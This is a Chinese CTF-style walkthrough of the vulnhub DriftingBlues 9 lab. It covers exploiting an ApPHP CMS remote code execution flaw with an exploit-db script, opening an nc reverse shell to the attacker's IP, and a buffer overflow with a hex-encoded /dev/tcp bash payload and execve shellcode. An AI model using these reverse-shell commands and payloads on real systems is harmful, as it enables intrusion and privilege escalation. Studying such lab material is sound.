vulnhub靶场【DriftingBlues】之9 final
前言
靶机:DriftingBlues-6,IP地址192.168.1.66
攻击:kali,IP地址192.168.1.16
都采用虚拟机,网卡为桥接模式
主机发现
使用arp-scan -l或netdiscover -r 192.168.1.1/24

信息收集
使用nmap扫描端口

网站探测
访问80端口,这或许就是CMS

使用whatweb探测
whatweb http://192.168.1.66

使用gobuster、ffuf、dirsearch、dirb、dirbuster等工具进行目录爆破
gobuster dir -u http://192.168.1.66 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

访问README.txt,确定CMS及版本

漏洞寻找
访问一圈扫描到的目录,没发现有什么信息,使用searchsploit测试有无对应版本的历史漏洞
searchsploit apphp

有一个远程代码执行的py脚本,尝试使用该脚本进行测试,注意,这里需要的是python2的环境
locate 33070.py
cp /usr/share/exploitdb/exploits/php/webapps/33070.py ./
chmod +x 33070.pypython2 33070.py http://192.168.1.66/index.php
漏洞利用
该脚本首先会进行测试,如phpinfo信息等,用法
Usage: python 33070.py http://target/blog/index.php
执行脚本后发现测试出一个php文件中的信息,这个脚本直接通过浏览器访问,是没有任何信息,但是这里就可以发现
用户名clapton和密码yaraklitepe

测试命令是否能被执行,发现确实可以

靶机内信息收集
查看靶机内的用户

为了后续方便,还是获取一个终端为好,不过这里只是命令执行,所以需要进行反弹shell。
我这里是测试发现直接使用bash反弹不成功,然后使用的nc,当然反弹的方法很多,https://forum.ywhack.com/shell.php
#kali开启监听
nc -lvvp 9999#靶机把bash反弹
nc -e /bin/bash 192.168.1.16 9999

然后使用python获取一个终端,注意,这里是python2,因为之前使用命令测试安装的版本
dpkg -l | grep python
或者
compgen -c | grep python //靶机没有这个命令
既然有用户clapton,与前面收集的连接数据库的一样了,测试是否一码多用,成功

返回其主目录查看,发现一个SUID的文件,剩下的两个,一个flag,一个内容说缓冲区溢出是这个方法

使用file知道是可执行文件,但是无法知道其内容,使用python开启简易的http,然后下载到kali中
这里因为python是2.x版本,所以与3.x开启不一样
python -m SimpleHTTPServe 9999
使用strings也没发现调用命令等,不过发现一些信息,收集一下

缓冲区溢出提取
之前查看note时,提示缓冲区溢出,那么进行处理。
我这里之前因为打过哈利波特的一个靶场,涉及到缓冲区溢出,所以大概知道流程
首先需要关闭kali中的alsr功能
alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)
cd /proc/sys/kernel
echo 0 > randomize_va_space

可以使用edb-debugger安装即可,或使用gdb
输入命令edb打开图形化界面进行调试
首先把可执行文件加入到调试器中,然后选择打开input,然后上传多个A进行测试,看是否存在溢出,这里生成300个A测试
打开input文件,然后把生成的字符写入

然后进行执行调试,发现最终提示溢出

可以看到EIP和ESP都是A,EIP是进行跳转执行指令地址的,ESP是指令寄存处

那么这时候测试其偏移量为多少,使用msf生成无规律的字符
msf-pattern_create -l 600

然后把这一串字符,复制,与上面一样,在打开文件时,写入


再使用msf查看这个字符所处的位置
msf-pattern_offset -l 600 -q 41376641

OK,确定偏移量为171,那么从172开始的四个字符就是EIP的地址,也是需要重点关注的,并且再测试确实后面跟着的就是ESP中的内容。
下面就是需要寻找到ESP的地址,方便在覆盖EIP时,确保地址是ESP的地址,这么就可以在ESP中写入反弹命令
不过,这里一直使用的图形化界面edb,也要使用gdb,毕竟有些时候条件有限,所以这个工具也要会用
这里可以在
kali中继续测试,不过我这里为了省时间,在靶机内测试,因为靶机内可以使用gdb,并且如果在kali中处理,还有一些环境问题需要解决。
下面在靶机内使用gdb测试,因为已经知道偏移量等,这里直接获取ESP地址
gdb input
(gdb)r $(python -c 'print("A"*300)')
(gdb)x/s $esp

获取到地址0xbfae41b0,这时候就可以进行构造payload,因为这里是小端序字节,所以地址需要倒写\xb0\x41\xae\xbf
$(python -c 'print("A"*171+"\xb0\x41\xae\xbf"+"\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x36\x2f\x38\x38\x38\x38\x20\x30\x3e\x26\x31\x27")')
再次构造后,把上面的语句进行测试,可以看到确实是小端序吧,并且发现ESP地址改变,说明靶机内的alsr是开启的,地址就会动态变化

那就不可能一次就中,说明这里可能需要多次,那么就写一个循环,注意,这里是一行,也就是可以直接输入,如要多行,可能需要用到EOF等
但是这里的脚本还是不行,测试发现使用msfvenom生成的是反弹shell,并非是其缓冲区溢出,这个个人不是很熟悉,所以借取网上的wp,代码这样的,不过这段代码我是不理解其含义,后续再学习\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80
结合前面的,把循环加上就是这样的构造,这里的ESP地址改变,是因为测试几遍后重新获取的
for i in {1..10000}; do (./input $(python -c 'print("A"*171+"\x70\x3f\xf8\xbf"+"\x90"*32+ "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
直接在终端运行,等待一会,提取成功

总结
- 考察对于一些CMS的历史漏洞寻找并利用
- 考察对于缓冲区溢出的掌握,以及ESP、EIP,偏移量等
相关文章:
vulnhub靶场【DriftingBlues】之9 final
前言 靶机:DriftingBlues-6,IP地址192.168.1.66 攻击:kali,IP地址192.168.1.16 都采用虚拟机,网卡为桥接模式 主机发现 使用arp-scan -l或netdiscover -r 192.168.1.1/24 信息收集 使用nmap扫描端口 网站探测 访…...
有124个叶子节点的,完全二叉树最多有多少个节点
n=n0n1n2 其中n0为叶子节点, n2=n0-1 完全二叉树的定义和性质 最后化简,n=2*n0n1-1...
从RNN到Transformer:生成式AI自回归模型的全面剖析
个人主页:chian-ocean 文章专栏 生成式AI中的自回归模型详解 在生成式AI的飞速发展中,自回归模型作为核心技术之一,成为文本生成、语音合成、图像生成等领域的重要支柱。本文将全面探讨自回归模型的原理、架构、实际应用,并结合…...
Java爬虫大冒险:如何征服1688商品搜索之巅
在这个信息爆炸的时代,数据就是力量。对于电商平台而言,数据更是金矿。今天,我们要踏上一场Java爬虫的冒险之旅,目标是征服1688这个B2B电商巨头,获取按关键字搜索的商品信息。这不仅是技术的挑战,更是智慧的…...
基于Spring Boot的无可购物网站系统
一、系统背景与意义 随着互联网的快速发展,电子商务已经成为人们日常生活的重要组成部分。构建一个稳定、高效、可扩展的电商平台后端系统,对于满足用户需求、提升用户体验、推动业务发展具有重要意义。Spring Boot作为当前流行的Java开发框架ÿ…...
智能人家谱程序创意
实现一个家谱程序,并结合自传、视频、图片资料和智能对话系统,涉及到多个领域的技术:自然语言处理(NLP)、机器学习、计算机视觉、多媒体处理和数据存储。下面,我为你制定一个可执行的计划,详细阐…...
Redis 7.x哨兵模式如何实现?基于Spring Boot 3.x版
大家好,我是袁庭新。 在Redis主从复制模式中,因为系统不具备自动恢复的功能,所以当主服务器(master)宕机后,需要手动把一台从服务器(slave)切换为主服务器。在这个过程中࿰…...
解决QTCreator在Debug时无法显示std::string类型的问题
环境: 操作系统:Ubuntu 20.04.6 LTS QT版本:Qt Creator 4.11.0 问题: Debug时,无法显示std::string类型的值,如下图: 解决方法: 修改/usr/share/qtcreator/debugger/stdtypes.py…...
leetcode 面试经典 150 题:无重复字符的最长子串
链接无重复字符的最长子串题序号3类型字符串解题方法滑动窗口难度中等 题目 给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度。 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子串是 “abc”,所以其长度为 3。 …...
0101多级nginx代理websocket配置-nginx-web服务器
1. 前言 项目一些信息需要通过站内信主动推动给用户,使用websocket。web服务器选用nginx,但是域名是以前通过阿里云申请的,解析ip也是阿里云的服务器,甲方不希望更换域名。新的系统需要部署在内网服务器,简单拓扑图如…...
【前端】Jquery拍照,通过PHP将base64编码数据转换成PNG格式,并保存图像到本地
目录 一、需求 二、开发语言 三、效果 四、业务逻辑: 五、web端调用摄像头 六、示例代码 1、前端 2、后端 一、需求 web端使用jquery调用摄像头拍照,并使用PHP把base64编码转换成png格式图片,下载到本地。 由于js不能指定图片存储的…...
websocket再项目中的使用
WebSocket在项目中的使用主要包括以下几个方面: WebSocket的基本概念和原理: 定义:WebSocket是一种基于TCP的协议,实现了浏览器与服务器之间的全双工通信。它通过HTTP/1.1协议的101状态码进行握手,建立连接…...
ajax同步执行async:false无效的解决方法
无效的情况: function ManHourCheck() {var StartDate $("#StartDate").val();//日报日期var EndDate $("#EndDate").val();//完成日期var UserID $("#UserID").val();//员工ID$.ajax({async: false,//加了这一行也没用!!!!!!!!!!…...
基于Qt的登陆界面设计
目标 自由发挥登录界面的应用场景,实现一个登录窗口的界面。 要求:每行代码都要有注释 代码 // 设置窗口大小为600x400像素 this->resize(600,400); // 设置窗口标题为"TheWitcher 巫师3:狂猎" this->setWindowTitle(&qu…...
HarmonyOS 输入框组件:TextInput 和 TextArea 深度解析
输入框组件是移动端开发中最常见的组件之一,常用于响应用户的输入操作,比如评论区的文本输入、聊天框的消息输入、表单内容填写等场景。在 HarmonyOS 中,TextInput 和 TextArea 分别用于单行和多行输入操作。除此之外,它们还可以与…...
【Golang】 Go 语言中的 Struct、JSON 和 Map 互转:详细指南
Go 语言中的 Struct、JSON 和 Map 互转:详细指南 在 Go 语言中,处理 JSON 数据、结构体类型和映射(map)是与 API、配置或数据库交互时非常常见的任务。理解如何在这些数据类型之间无缝转换对于高效的 Go 编程至关重要。以下是如何将 Go 结构体转换为 JSON、将 JSON 转换为…...
Azure Function流式返回
最近用azure function做了一个api和llm交互,需要流式返回。但是默认不支持流返回,搜索了一下。记录。 官方文档:https://techcommunity.microsoft.com/blog/azurecompute/azure-functions-support-for-http-streams-in-python-is-now-in-prev…...
智能座舱进阶-应用框架层-Jetpack主要组件
Jetpack的分类 1. DataBinding:以声明方式将可观察数据绑定到界面元素,通常和ViewModel配合使用。 2. Lifecycle:用于管理Activity和Fragment的生命周期,可帮助开发者生成更易于维护的轻量级代码。 3. LiveData: 在底层数据库更…...
GitLab分支管理策略和最佳实践
分支管理是 Git 和 GitLab 中非常重要的部分,合理的分支管理可以帮助团队更高效地协作和开发。以下是一些细化的分支管理策略和最佳实践: 1. 分支命名规范 • 主分支:通常命名为 main 或 master,用于存放稳定版本的代码。 • …...
【Unity】【VR开发】实现VR屏幕共享应用的几个重要插件和参考资料分享
【背景】 做了一个可以在局域网远程屏幕的VR应用,如果有相同兴趣的朋友也可以参考下我用的几个插件。 【使用或相关的关键插件】 piping server:这个是最基底的插件,基于它实现的信令通信。 https://github.com/nwtgck/piping-server/blob…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
Razor编程中@Html的方法使用大全
文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...
jdbc查询mysql数据库时,出现id顺序错误的情况
我在repository中的查询语句如下所示,即传入一个List<intager>的数据,返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致,会导致返回的id是从小到大排列的,但我不希望这样。 Query("SELECT NEW com…...
leetcode73-矩阵置零
leetcode 73 思路 记录 0 元素的位置:遍历整个矩阵,找出所有值为 0 的元素,并将它们的坐标记录在数组zeroPosition中置零操作:遍历记录的所有 0 元素位置,将每个位置对应的行和列的所有元素置为 0 具体步骤 初始化…...
深入理解 React 样式方案
React 的样式方案较多,在应用开发初期,开发者需要根据项目业务具体情况选择对应样式方案。React 样式方案主要有: 1. 内联样式 2. module css 3. css in js 4. tailwind css 这些方案中,均有各自的优势和缺点。 1. 方案优劣势 1. 内联样式: 简单直观,适合动态样式和…...
